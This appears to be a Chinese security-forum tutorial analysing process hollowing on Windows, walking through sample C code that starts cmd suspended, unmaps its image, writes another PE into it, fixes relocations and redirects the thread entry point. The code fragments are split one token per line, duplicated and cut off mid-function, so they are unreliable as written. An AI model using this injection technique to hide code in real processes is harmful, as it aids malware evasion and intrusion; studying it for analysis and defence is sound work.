2021年第一篇技术分析文章,有不足之处还请大家多多包涵。
通过对API的调用,实现文件不落地的一种技术。需要编译选项/DYNAMICBASE or /FIXED 其中一个为NO 目的是取消生成重定位表,这里已/DYNAMICBASE为例子。
测试代码来源 github,HelloWorld和ProcessHollowing两个进程。
ProcessHollowing通过main函数代码可以发现CreateHollowedProcess函数是整个进程替换的核心,对其进行重点学习。
由于要进行进程替换,所以得先启动一个进程然后将这个进程""挖空",并填入需要写入的另外一个进程的内容,最后跳转到执行点执行,就完成了整个进程替换的过程。
通过前半部分的代码可以得知目前正在获取的cmd的进程信息,并且CreateProcessA的第六个参数决定了该进程将以挂起的形式创建。
通过PROCESS_INFORMATION结构中的hProcess来获取进程句柄,通过PEB结构获取进程的ImageBaseAddress结构。
PEB结构如下所示,由于PEB结构较大只留下部分结构信息。
接下来使用CreateFileA的第二个参数GENERIC_READ,来判断获取HelloWorld文件是否存在。如果存在则获取文件大小并分配内存将其加载到内存中,pBuffer就是这段内存的头指针。
通过自写的GetLoadedImage来完成镜像文件的装载。
来看一下具体的实现过程,通过DbgHelp提供的LOADED_IMAGE函数就能够完成对内存镜像文件的解析。
LOADED_IMAGE结构的具体定义如下。
紧接着进行相关节的取消映射,方便之后对该节进行相关写入操作。
接着通过VirtualAllocEx在cmd进程中分配内存,内存的起始地址有第二个参数决定,这样就完成了相关内存的分配过程。
由于复制的内容大同小异,这里针对.reloc也就是重定位节进行一个重点讲述,也是本次内容中最重要的部分。
DataDirectory是一个结构体数组,结构体由VirtualAddress和Size组成。
数组包含以下15种,这里用到的就是IMAGE_DIRECTORY_ENTRY_BASERELOC,即重定位表。
其中CountRelocationEntries是一个宏,用于计算重定位的个数。
除此之外PBASE_RELOCATION_ENTRY结构如下所示,前12位表示偏移量,后4位表示类型。
接下来的部分会涉及到线程执行劫持,利用OpenThread打开目标线程,在获取目标线程的句柄后,恶意软件通过调用SuspendThread来将线程置于挂起模式。调用VirtualAllocEx和WriteProcessMemory来分配内存并执行代码注入的操作。然后调用GetThreadContext和GetThreadContext获取并设置线程的上下文,以将EIP寄存器设置到要执行恶意代码的地址,达到重启线程的作用。。
注意的是pContext->Eax = dwEntrypoint;利用某个寄存器来完成入口点的赋值,利用SetThreadContext完成上下文设置,最后通过ResumeThread执行,代码如下所示。
自此,整个代码流程就讲解完成如有什么疑问,可自行查询相关资料或者留言告知我。
接下来进行调试演示,通过调试发现Creating process的进程是cmd,并且为Suspended,符合之前的描述过程。
获取到cmd相关结构信息。
获取重定位的目标差。
由于HelloWorld.exe本身没有重定位表,所以调试的时候一直没有进入相关函数。
这里自己创建一个dll来替代HelloWorld。
通过调试发现dwEntryCount值为136,目前还没有搞明白是什么意思。
最后通过打印,发现一共找到了148个重定位函数,有些不可思议。
借助studype来看一下重定位表的情况,0x88+0xE=0x96=226,比输出的148大,通过内容发现有些是00,所以我选择相信有148个需要重定位的函数。
新的程序入口点为0xABB829A即将赋值给eax+0xb0这里。
通过另一个调试器附件进程,如果附加失败则在CreateProcess之后就附加即可。
成功弹出MessageBox,整体调试完毕。
涉及的API使用情况和相关重定位的计算方式。
CreateProcess
/
/
以CREATE_SUSPENDED挂起状态创建进程
ZwUnmapviewOfSection
/
/
释放目标进程内存,解除内存映射
VirtualAllocEx
/
/
为恶意代码分配新空间
WriteProcessMenory
/
/
写入数据(文件头)
for
(i
=
0
;i<NumberOfSection;i
+
+
)
WriteProcessMenory
/
/
写入节区数据
SetThreadContext
/
/
设置线程执行位置
ResumeThread
/
/
重新启动主线程
重定位表存储表达式
=
2
*
n
+
4
+
4
字节
第一个
4
为VirtualAddress
第二个
4
为SizeofBlock
n为重定位表个数
重定位表主要修改FF15
/
FF25类跳转和涉及取内存地址的区域
涉及的API使用情况和相关重定位的计算方式。
CreateProcess
/
/
以CREATE_SUSPENDED挂起状态创建进程
ZwUnmapviewOfSection
/
/
释放目标进程内存,解除内存映射
VirtualAllocEx
/
/
为恶意代码分配新空间
WriteProcessMenory
/
/
写入数据(文件头)
for
(i
=
0
;i<NumberOfSection;i
+
+
)
WriteProcessMenory
/
/
写入节区数据
SetThreadContext
/
/
设置线程执行位置
ResumeThread
/
/
重新启动主线程
重定位表存储表达式
=
2
*
n
+
4
+
4
字节
第一个
4
为VirtualAddress
第二个
4
为SizeofBlock
n为重定位表个数
重定位表主要修改FF15
/
FF25类跳转和涉及取内存地址的区域
int
_tmain(
int
argc, _TCHAR
*
argv[])
{
char
*
pPath
=
new char[MAX_PATH];
GetModuleFileNameA(
0
, pPath, MAX_PATH);
pPath[strrchr(pPath,
'\\'
)
-
pPath
+
1
]
=
0
;
strcat(pPath,
"helloworld.exe"
);
CreateHollowedProcess
(
"cmd"
,
pPath
);
system(
"pause"
);
VirtualFreeEx(
pProcessInfo
-
>hProcess,
pPEB
-
>ImageBaseAddress,
pSourceHeaders
-
>OptionalHeader.SizeOfImage,
MEM_DECOMMIT);
TerminateProcess(pProcessInfo
-
>hProcess,
0
);
delete pStartupInfo;
delete pProcessInfo;
delete pBuffer;
delete pContext;
delete []pPath;
return
0
;
}
int
_tmain(
int
argc, _TCHAR
*
argv[])
{
char
*
pPath
=
new char[MAX_PATH];
GetModuleFileNameA(
0
, pPath, MAX_PATH);
pPath[strrchr(pPath,
'\\'
)
-
pPath
+
1
]
=
0
;
strcat(pPath,
"helloworld.exe"
);
CreateHollowedProcess
(
"cmd"
,
pPath
);
system(
"pause"
);
VirtualFreeEx(
pProcessInfo
-
>hProcess,
pPEB
-
>ImageBaseAddress,
pSourceHeaders
-
>OptionalHeader.SizeOfImage,
MEM_DECOMMIT);
TerminateProcess(pProcessInfo
-
>hProcess,
0
);
delete pStartupInfo;
delete pProcessInfo;
delete pBuffer;
delete pContext;
delete []pPath;
return
0
;
}
pStartupInfo
=
new STARTUPINFOA();
pProcessInfo
=
new PROCESS_INFORMATION();
CreateProcessA
(
0
,
pDestCmdLine,
/
/
cmd
0
,
0
,
0
,
CREATE_SUSPENDED,
0
,
0
,
pStartupInfo,
pProcessInfo
);
if
(!pProcessInfo
-
>hProcess)
{
printf(
"Error creating process\r\n"
);
return
;
}
pPEB
=
ReadRemotePEB(pProcessInfo
-
>hProcess);
PLOADED_IMAGE pImage
=
ReadRemoteImage(pProcessInfo
-
>hProcess, pPEB
-
>ImageBaseAddress);
printf(
"Opening source image\r\n"
);
pStartupInfo
=
new STARTUPINFOA();
pProcessInfo
=
new PROCESS_INFORMATION();
CreateProcessA
(
0
,
pDestCmdLine,
/
/
cmd
0
,
0
,
0
,
CREATE_SUSPENDED,
0
,
0
,
pStartupInfo,
pProcessInfo
);
if
(!pProcessInfo
-
>hProcess)
{
printf(
"Error creating process\r\n"
);
return
;
}
pPEB
=
ReadRemotePEB(pProcessInfo
-
>hProcess);
PLOADED_IMAGE pImage
=
ReadRemoteImage(pProcessInfo
-
>hProcess, pPEB
-
>ImageBaseAddress);
printf(
"Opening source image\r\n"
);
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
······
}
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
······
}
HANDLE hFile
=
CreateFileA
(
pSourceFile,
/
/
HelloWorld文件的位置
GENERIC_READ,
0
,
0
,
OPEN_ALWAYS,
0
,
0
);
if
(hFile
=
=
INVALID_HANDLE_VALUE)
{
printf(
"Error opening %s\r\n"
, pSourceFile);
return
;
}
dwSize
=
GetFileSize(hFile,
0
);
pBuffer
=
new BYTE[dwSize];
DWORD dwBytesRead
=
0
;
ReadFile(hFile, pBuffer, dwSize, &dwBytesRead,
0
);
HANDLE hFile
=
CreateFileA
(
pSourceFile,
/
/
HelloWorld文件的位置
GENERIC_READ,
0
,
0
,
OPEN_ALWAYS,
0
,
0
);
if
(hFile
=
=
INVALID_HANDLE_VALUE)
{
printf(
"Error opening %s\r\n"
, pSourceFile);
return
;
}
dwSize
=
GetFileSize(hFile,
0
);
pBuffer
=
new BYTE[dwSize];
DWORD dwBytesRead
=
0
;
ReadFile(hFile, pBuffer, dwSize, &dwBytesRead,
0
);
PLOADED_IMAGE pSourceImage
=
GetLoadedImage((DWORD)pBuffer);
/
/
载入镜像
pSourceHeaders
=
GetNTHeaders((DWORD)pBuffer);
/
/
获取NT结构
PLOADED_IMAGE pSourceImage
=
GetLoadedImage((DWORD)pBuffer);
/
/
载入镜像
pSourceHeaders
=
GetNTHeaders((DWORD)pBuffer);
/
/
获取NT结构
PIMAGE_DOS_HEADER pDosHeader
=
(PIMAGE_DOS_HEADER)dwImageBase;
PIMAGE_NT_HEADERS32 pNTHeaders
=
GetNTHeaders(dwImageBase);
PLOADED_IMAGE pImage
=
new LOADED_IMAGE();
pImage
-
>FileHeader
=
(PIMAGE_NT_HEADERS32)(dwImageBase
+
pDosHeader
-
>e_lfanew);
pImage
-
>NumberOfSections
=
pImage
-
>FileHeader
-
>FileHeader.NumberOfSections;
pImage
-
>Sections
=
(PIMAGE_SECTION_HEADER)(dwImageBase
+
pDosHeader
-
>e_lfanew
+
sizeof(IMAGE_NT_HEADERS32));
return
pImage;
PIMAGE_DOS_HEADER pDosHeader
=
(PIMAGE_DOS_HEADER)dwImageBase;
PIMAGE_NT_HEADERS32 pNTHeaders
=
GetNTHeaders(dwImageBase);
PLOADED_IMAGE pImage
=
new LOADED_IMAGE();
pImage
-
>FileHeader
=
(PIMAGE_NT_HEADERS32)(dwImageBase
+
pDosHeader
-
>e_lfanew);
pImage
-
>NumberOfSections
=
pImage
-
>FileHeader
-
>FileHeader.NumberOfSections;
pImage
-
>Sections
=
(PIMAGE_SECTION_HEADER)(dwImageBase
+
pDosHeader
-
>e_lfanew
+
sizeof(IMAGE_NT_HEADERS32));
return
pImage;
typedef struct _LOADED_IMAGE {
PSTR ModuleName;
HANDLE hFile;
PUCHAR MappedAddress;
PIMAGE_NT_HEADERS64 FileHeader;
PIMAGE_NT_HEADERS32 FileHeader;
PIMAGE_SECTION_HEADER LastRvaSection;
ULONG NumberOfSections;
PIMAGE_SECTION_HEADER Sections;
ULONG Characteristics;
BOOLEAN fSystemImage;
BOOLEAN fDOSImage;
BOOLEAN fReadOnly;
UCHAR Version;
LIST_ENTRY Links;
ULONG SizeOfImage;
} LOADED_IMAGE,
*
PLOADED_IMAGE;
typedef struct _LOADED_IMAGE {
PSTR ModuleName;
HANDLE hFile;
PUCHAR MappedAddress;
PIMAGE_NT_HEADERS64 FileHeader;
PIMAGE_NT_HEADERS32 FileHeader;
PIMAGE_SECTION_HEADER LastRvaSection;
ULONG NumberOfSections;
PIMAGE_SECTION_HEADER Sections;
ULONG Characteristics;
BOOLEAN fSystemImage;
BOOLEAN fDOSImage;
BOOLEAN fReadOnly;
UCHAR Version;
LIST_ENTRY Links;
ULONG SizeOfImage;
} LOADED_IMAGE,
*
PLOADED_IMAGE;
printf(
"Unmapping destination section\r\n"
);
HMODULE hNTDLL
=
GetModuleHandleA(
"ntdll"
);
FARPROC fpNtUnmapViewOfSection
=
GetProcAddress(hNTDLL,
"NtUnmapViewOfSection"
);
_NtUnmapViewOfSection NtUnmapViewOfSection
=
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult
=
NtUnmapViewOfSection
(
pProcessInfo
-
>hProcess,
pPEB
-
>ImageBaseAddress
);
if
(dwResult)
{
printf(
"Error unmapping section\r\n"
);
return
;
}
printf(
"Unmapping destination section\r\n"
);
HMODULE hNTDLL
=
GetModuleHandleA(
"ntdll"
);
FARPROC fpNtUnmapViewOfSection
=
GetProcAddress(hNTDLL,
"NtUnmapViewOfSection"
);
_NtUnmapViewOfSection NtUnmapViewOfSection
=
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult
=
NtUnmapViewOfSection
(
pProcessInfo
-
>hProcess,
pPEB
-
>ImageBaseAddress
);
if
(dwResult)
{
printf(
"Error unmapping section\r\n"
);
return
;
}
pRemoteImage
=
VirtualAllocEx
/
/
如果errorcode
=
487
则可能是本程序编译选项
/
DYNAMICBASE未设置为NO
(
pProcessInfo
-
>hProcess,
pPEB
-
>ImageBaseAddress,
pSourceHeaders
-
>OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if
(!pRemoteImage)
{
printf(
"VirtualAllocEx call failed error=%d\r\n"
,GetLastError());
return
;
}
DWORD dwDelta
=
(DWORD)pPEB
-
>ImageBaseAddress
-
pSourceHeaders
-
>OptionalHeader.ImageBase;
printf
(
"Source image base: 0x%p\r\n"
"Destination image base: 0x%p\r\n"
,
pSourceHeaders
-
>OptionalHeader.ImageBase,
pPEB
-
>ImageBaseAddress
);
pRemoteImage
=
VirtualAllocEx
/
/
如果errorcode
=
487
则可能是本程序编译选项
/
DYNAMICBASE未设置为NO
(
pProcessInfo
-
>hProcess,
pPEB
-
>ImageBaseAddress,
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-1-4 09:20
被Risks编辑
,原因: 修改帖子主题